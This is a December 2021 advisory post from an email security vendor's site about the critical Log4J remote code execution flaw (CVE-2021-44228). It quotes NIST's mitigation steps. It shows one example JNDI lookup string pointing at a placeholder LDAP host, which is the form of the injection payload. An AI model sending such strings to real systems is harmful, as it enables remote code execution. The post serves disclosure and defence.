• About
  • Solutions
    • Products
      • SecureMail Gateway
      • Fast&Secure
      • Consulting Services
    • Technologies
      • SecureTier
      • Data Leak Prevention
  • Pricing
  • Partners
    • Technology Partners
    • Reseller Programs
  • Resources
    • Whitepapers
    • Knowledge Base
    • Latest News
  • Contact
    • Contact Info
    • Open a Support Request

Call Toll free (855) 614-2378

sales@globalcerts.net
Manage account
GlobalCertsGlobalCerts
GlobalCertsGlobalCerts
  • About
  • Solutions
    • Products
      • SecureMail Gateway
      • Fast&Secure
      • Consulting Services
    • Technologies
      • SecureTier
      • Data Leak Prevention
  • Pricing
  • Partners
    • Technology Partners
    • Reseller Programs
  • Resources
    • Whitepapers
    • Knowledge Base
    • Latest News
  • Contact
    • Contact Info
    • Open a Support Request

Critical RCE Vulnerability in Log4J

Common logging software bug could expose billions of devices to exploit

Home NewsCritical Log4J Vulnerability
picture of computer networks

Critical Log4J Vulnerability

December 12, 2021

Note: GlobalCerts’ SecureMail Gateway products and services do not utilize the Log4J and are not vulnerable to this exploit.

This is a developing story and will be updated as new details emerge.

On December 10th, a critical zero-day exploit was made public affecting Log4J, a common logging software present in almost all Java-based programs. This vulnerability is extremely easy to exploit, and allows for a remote attacker to remotely execute arbitrary code on backend systems. By simply supplying a string of the format {JNDI: ldap://exampleurl.com/abc } into any form input or value that is logged, the attacker can confirm the vulnerability and cause the targeted system to execute whatever code they supply.

Summary of exploit and mitigations from NIST: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

See CVE-2021-44228 for more details.

 

Share

You also might be interested in

The War On Encryption

The War On Encryption

Dec 20, 2019

There has been a LOT of commentary recently from privacy[...]

Outlook S/MIME Support

Outlook S/MIME Support

Jun 25, 2019

Last week, Microsoft announced MC182605 in their admin Message Center.[...]

Final Countdown to GDPR Compliance
Concept of digital screen, virtual connection icon, diagram, graph interfaces.Man working with laptop at office at wooden table.Reflections on glass surface.Flares effect.Horizontal

Final Countdown to GDPR Compliance

Apr 30, 2018

We’re now entering the final “25 Days of GDPR” countdown;[...]

Contact Us

Have a question? We'd love to hear from you!

Send Message
See how GlobalCerts can secure your organization's email Request a Quote

Latest News

701 Palomar Airport Rd. STE 300
Carlsbad, CA 92011
(855) 614-2378
info@globalcerts.net

Site Search

Copyright © 2025 GlobalCerts LLC, All Rights Reserved Site Map | Privacy Policy | Legal Disclaimer